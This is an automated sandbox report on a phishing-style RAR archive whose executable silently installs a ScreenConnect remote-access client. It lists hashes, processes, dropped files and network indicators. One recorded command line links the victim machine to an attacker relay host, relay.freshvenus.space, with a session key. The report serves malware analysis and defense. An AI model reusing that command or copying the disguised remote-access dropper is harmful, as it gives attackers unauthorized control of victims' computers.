File name:

Cobro_12740962582188514036504790465810654527510112.rar

Full analysis: https://app.any.run/tasks/e312cdf2-3bf9-4829-82c2-d14a70b42226
Verdict: Malicious activity
Analysis date: April 29, 2025, 21:32:13
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
connectwise
rmm-tool
screenconnect
remote
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

F3A73715EE534B29AFD6D6912268B261

SHA1:

BEE7936102FADE473A8B3984E4D975CC59F7EB8E

SHA256:

BFB375DC9BDD9CB6AFF16411A305ED638B379BC850D001575BD8268F1B76E3C1

SSDEEP:

98304:ERqRQxm789Te58Yh135pbX5RvxnLFMirMas0U4tSmJ+PgnW0FpjHKMoA7scTMGq9:v7C+6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • SCREENCONNECT has been detected (SURICATA)

      • ScreenConnect.ClientService.exe (PID: 7652)
  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 7336)
      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
    • Executable content was dropped or overwritten

      • rundll32.exe (PID: 8108)
    • Executes as Windows Service

      • VSSVC.exe (PID: 8168)
      • ScreenConnect.ClientService.exe (PID: 7652)
    • Screenconnect has been detected

      • ScreenConnect.ClientService.exe (PID: 7652)
    • Connects to unusual port

      • ScreenConnect.ClientService.exe (PID: 7652)
    • Potential Corporate Privacy Violation

      • ScreenConnect.ClientService.exe (PID: 7652)
  • INFO

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 7336)
      • msiexec.exe (PID: 7916)
      • msiexec.exe (PID: 7956)
    • Reads the machine GUID from the registry

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
    • Reads the computer name

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
      • msiexec.exe (PID: 7956)
      • msiexec.exe (PID: 8068)
    • Checks supported languages

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
      • msiexec.exe (PID: 7956)
      • msiexec.exe (PID: 8068)
    • Process checks computer location settings

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
    • Create files in a temporary directory

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
      • rundll32.exe (PID: 8108)
    • CONNECTWISE has been detected

      • msiexec.exe (PID: 7916)
    • Manages system restore points

      • SrTasks.exe (PID: 7304)
    • Manual execution by a user

      • Taskmgr.exe (PID: 7968)
      • Taskmgr.exe (PID: 7856)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)

EXIF

ZIP

FileVersion: RAR v5
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
151
Monitored processes
19
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe sppextcomobj.exe no specs slui.exe no specs cobro_12740962582188514036504790465810654527510112.exe no specs cobro_12740962582188514036504790465810654527510112.exe msiexec.exe msiexec.exe msiexec.exe no specs rundll32.exe vssvc.exe no specs srtasks.exe no specs conhost.exe no specs msiexec.exe no specs msiexec.exe no specs #SCREENCONNECT screenconnect.clientservice.exe screenconnect.windowsclient.exe no specs screenconnect.windowsclient.exe no specs taskmgr.exe no specs taskmgr.exe

Process information

PID
CMD
Path
Indicators
Parent process
5328"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.WindowsClient.exe" "RunRole" "1240db3d-44eb-4160-8f33-513a2f210fa8" "User"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.WindowsClient.exeScreenConnect.ClientService.exe
User:
admin
Company:
ScreenConnect Software
Integrity Level:
MEDIUM
Description:
ScreenConnect Client
Version:
24.3.7.9067
Modules
Images
c:\program files (x86)\screenconnect client (3ea6a26a99772f00)\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
6576"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.WindowsClient.exe" "RunRole" "7db8366d-7a05-40a1-a0d3-fa536351dd81" "System"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.WindowsClient.exeScreenConnect.ClientService.exe
User:
SYSTEM
Company:
ScreenConnect Software
Integrity Level:
SYSTEM
Description:
ScreenConnect Client
Exit code:
0
Version:
24.3.7.9067
Modules
Images
c:\program files (x86)\screenconnect client (3ea6a26a99772f00)\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
7304C:\WINDOWS\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:11C:\Windows\System32\SrTasks.exemsiexec.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Windows System Protection background tasks.
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\srtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7336"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\Cobro_12740962582188514036504790465810654527510112.rarC:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
7448C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exesvchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7480"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exeSppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7528\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exeSrTasks.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7600C:\Windows\syswow64\MsiExec.exe -Embedding B563FA1FFE0D13AE7273E64500554285 E Global\MSI0000C:\Windows\SysWOW64\msiexec.exemsiexec.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
7652"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.freshvenus.space&p=8041&s=14ea3a25-b7c5-48e1-a06c-d9b8fc9518b7&k=BgIAAACkAABSU0ExAAgAAAEAAQCZevVq3oziQGCi0j0%2bQTm%2bTJYNpWoPWYr%2b7Q%2fEtd%2f5KTEosAcBUN5mSZD0TwSUwBtM1I%2fkmN20eTcTlMTuisISh8SL43iKj08NXVNALPX%2bER2NZjUjb5am8fe3IBhNc%2fMoh6dKsk0myHUlFzjT5DvaO7iX54ahG9vFwPQEzbUqaT28adcTl61WD1AFYjdxwxKFhOMVRYYn5C10MP5SwkNIVyKZ%2bCgOHxKjyz374KpkQP2OhpbexAMiqNy7KcZnECX2WfWcisA3InzGHb%2bueHM9SIxkC7UYYpE9auFy1Yj7AOi1g%2bn5fTS0MhSG2oXpOpzSJhYu1mHM%2bgp77sBxWDi0"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.ClientService.exe
services.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Version:
24.3.7.9067
Modules
Images
c:\program files (x86)\screenconnect client (3ea6a26a99772f00)\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\shlwapi.dll
7700C:\Windows\syswow64\MsiExec.exe -Embedding C2B3D1C6EB3622B58A837FB5B2E10E98C:\Windows\SysWOW64\msiexec.exemsiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
Total events
39 677
Read events
39 382
Write events
277
Delete events
18

Modification events

(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Cobro_12740962582188514036504790465810654527510112.rar
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(7956) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SystemRestore
Operation:writeName:SrCreateRp (Enter)
Value:
4800000000000000013BF4394EB9DB01141F0000D81F0000D50700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
21
Suspicious files
20
Text files
11
Unknown types
0

Dropped files

PID
Process
Filename
Type
7844Cobro_12740962582188514036504790465810654527510112.exeC:\Users\admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\3ea6a26a99772f00\ScreenConnect.ClientSetup.msi
MD5:
SHA256:
7956msiexec.exeC:\System Volume Information\SPP\metadata-2
MD5:
SHA256:
7956msiexec.exeC:\Windows\Installer\1137e5.msi
MD5:
SHA256:
7916msiexec.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmpexecutable
MD5:8A8767F589EA2F2C7496B63D8CCC2552
SHA256:0918D8AB2237368A5CEC8CE99261FB07A1A1BEEDA20464C0F91AF0FE3349636B
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\CustomAction.configxml
MD5:6F52EBEA639FD7CEFCA18D9E5272463E
SHA256:7027B69AB6EBC9F3F7D2F6C800793FDE2A057B76010D8CFD831CF440371B2B23
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\Microsoft.Deployment.Compression.Cab.dllexecutable
MD5:77BE59B3DDEF06F08CAA53F0911608A5
SHA256:9D32032109FFC217B7DC49390BD01A067A49883843459356EBFB4D29BA696BF8
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\ScreenConnect.Core.dllexecutable
MD5:14E7489FFEBBB5A2EA500F796D881AD9
SHA256:A2E9752DE49D18E885CBD61B29905983D44B4BC0379A244BFABDAA3188C01F0A
7956msiexec.exeC:\System Volume Information\SPP\snapshot-2binary
MD5:1A1EB193D6D217F5787E6CA470F308DE
SHA256:E6C4752F361C800A0A2140A42164FF54B35787582D39D1A0381E0E8FEF73F19E
7956msiexec.exeC:\System Volume Information\SPP\OnlineMetadataCache\{5203ae75-a910-4283-93de-256175d4fbb3}_OnDiskSnapshotPropbinary
MD5:1A1EB193D6D217F5787E6CA470F308DE
SHA256:E6C4752F361C800A0A2140A42164FF54B35787582D39D1A0381E0E8FEF73F19E
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dllexecutable
MD5:A921A2B83B98F02D003D9139FA6BA3D8
SHA256:548C551F6EBC5D829158A1E9AD1948D301D7C921906C3D8D6B6D69925FC624A1
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
29
DNS requests
15
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
864
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
864
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
2104
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
4
System
192.168.100.255:138
whitelisted
6544
svchost.exe
40.126.31.67:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.104.136.2
  • 4.231.128.59
whitelisted
google.com
  • 142.250.185.110
whitelisted
crl.microsoft.com
  • 2.16.164.120
  • 2.16.164.49
whitelisted
www.microsoft.com
  • 95.101.149.131
  • 23.35.229.160
whitelisted
login.live.com
  • 40.126.31.67
  • 40.126.31.73
  • 40.126.31.69
  • 20.190.159.75
  • 20.190.159.0
  • 40.126.31.2
  • 20.190.159.130
  • 40.126.31.3
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted
go.microsoft.com
  • 23.213.166.81
whitelisted
relay.freshvenus.space
  • 199.230.105.21
unknown

Threats

PID
Process
Class
Message
7652
ScreenConnect.ClientService.exe
Potential Corporate Privacy Violation
REMOTE [ANY.RUN] ScreenConnect Server Response
No debug info